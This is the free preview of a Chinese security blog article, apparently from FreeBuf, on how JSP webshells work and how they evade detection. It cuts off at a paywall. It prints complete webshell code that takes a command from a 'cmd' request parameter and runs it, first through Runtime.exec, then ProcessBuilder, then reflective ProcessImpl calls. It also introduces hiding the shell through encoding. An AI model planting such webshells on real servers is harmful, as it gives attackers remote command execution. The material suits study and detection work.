Jsp Webshell原理性探究的那些事
superLeeH
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
webshell
original webshell
最普通的webshell
<%
// original WebShell
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
InputStream inputStream = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String res = null;
while ((res = bufferedReader.readLine()) != null) {
response.getWriter().write(res);
}
}
%>
直接是通过get传参之后, 通过使用Runtime.getRuntime().exec()
执行命令
这种webshell很容易被检测,Runtime.getRuntime().exec()具有很强的shell特征
other command
Runtime.getRuntime被禁用,换用其他执行命令的方式进行制作shell,(虽然也很容易被查杀
ProcessBuilder
<%
// original WebShell
String cmd = request.getParameter("cmd");
if (cmd != null) {
// ProcessBuilder
Process process = new ProcessBuilder(new String[]{cmd}).start();
InputStream inputStream = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String res = "";
while ((res = bufferedReader.readLine()) != null) {
response.getWriter().write(res);
}
}
%>
ProcessImpl
同样也可以通过反射执行ProcessImpl#start
方法进行命令执行
// ProcessImpl#start()
Class<?> aClass = Class.forName("java.lang.ProcessImpl");
Method start = aClass.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
start.setAccessible(true);
Process process = (Process) start.invoke(null, new String[]{cmd}, null, ".", null, true);
上面是在windows环境下的执行,在Unix下的系统是使用的UNIXProcess类
类似的我们可以
构造UNIXProcess/ProcessImpl实例进行命令执行
或者更底层的通过Unsafe进行类实例的创建以及反射调用Native方法
forkAndExec
进行命令执行
混淆绕过
编码
最常见的混淆就是通过编码来进行webshell的隐藏
对于JSP的解析流程
在请求一个jsp页面时,如果是首次jsp页面的访问将会对jsp页面进行编译生成一个class文件,之后封装成一个JspServlet,通过调用他的service方法处理请求,特别的,如果不是首次访问jsp文件,如果没有更改将不会再次进行编译操作,直接使用之前的JspServlet进行调用
简单跟进一下Jsp的解析过程以及对编码的判断
在JspServletWrapper#service
方法中通过compile
方法进入编译流程
默认使用使用JDTCompiler
这个编译器进行编译
可试读前30%内容
¥ 9.9 全文查看
9.9元开通FVIP会员
畅读付费文章
畅读付费文章
最低0.3元/天
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 superLeeH 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
Vaadin组件下的新反序列化链寻找
2025-02-11
json组件下的原生反序列化getter触发
2025-01-13
特定版本Vaadin组件反序列化漏洞
2025-01-05
文章目录